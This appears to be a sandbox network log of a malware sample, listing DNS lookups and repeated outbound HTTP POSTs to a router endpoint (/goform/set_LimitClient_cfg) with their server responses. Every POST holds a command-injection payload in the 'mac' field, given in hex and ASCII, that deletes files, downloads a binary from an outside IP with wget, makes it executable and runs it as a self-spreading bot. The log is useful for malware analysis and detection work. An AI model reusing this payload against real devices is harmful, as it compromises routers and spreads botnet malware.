Feb 29, 2024 10:21:30.676182032 CET	8.8.8.8	192.168.2.14	0x3224	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:41.459971905 CET	8.8.8.8	192.168.2.14	0x8b5e	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:43.236622095 CET	8.8.8.8	192.168.2.14	0x8c71	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:45.030751944 CET	8.8.8.8	192.168.2.14	0x5d8d	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:50.855988979 CET	8.8.8.8	192.168.2.14	0x3367	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:00.639039040 CET	8.8.8.8	192.168.2.14	0xd624	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:03.456903934 CET	8.8.8.8	192.168.2.14	0x8229	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:11.262690067 CET	8.8.8.8	192.168.2.14	0xb7e	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:22.084979057 CET	8.8.8.8	192.168.2.14	0x3d3d	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:26.875032902 CET	8.8.8.8	192.168.2.14	0x3e11	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:29.667700052 CET	8.8.8.8	192.168.2.14	0xdd3f	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:32.456635952 CET	8.8.8.8	192.168.2.14	0xbeb0	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:40.254013062 CET	8.8.8.8	192.168.2.14	0x63df	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:46.064537048 CET	8.8.8.8	192.168.2.14	0x43c5	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:14.259834051 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:15.142465115 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:15.303153992 CET	197	IN	HTTP/1.1 400 Bad Request Content-Type: text/html;charset=iso-8859-1 Content-Length: 50 Connection: close Server: Jetty(10.0.13) Data Raw: 3c 68 31 3e 42 61 64 20 4d 65 73 73 61 67 65 20 34 30 30 3c 2f 68 31 3e 3c 70 72 65 3e 72 65 61 73 6f 6e 3a 20 4e 6f 20 48 6f 73 74 3c 2f 70 72 65 3e Data Ascii: <h1>Bad Message 400</h1><pre>reason: No Host</pre>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:14.289835930 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:15.334451914 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:16.550416946 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:19.078332901 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:23.942255020 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:33.669712067 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:53.380963087 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:19.751677990 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:20.040579081 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:24.415292978 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:24.728044033 CET	81	IN	HTTP/1.1 400 Bad Request Connection: close Server: Jetty(6.1.x)

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:24.428004980 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:24.754336119 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 29 Feb 2024 09:21:24 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:29.101376057 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:29.432924986 CET	343	IN	HTTP/1.1 404 Not Found Surrogate-Control: no-store Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate Pragma: no-cache Expires: 0 Content-Type: text/plain; charset=utf-8 Content-Length: 9 Vary: Accept-Encoding Date: Thu, 29 Feb 2024 09:21:29 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:21:29.392087936 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:30.885847092 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:32.645824909 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:36.229700089 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:43.397406101 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:57.476778030 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:22:26.147586107 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
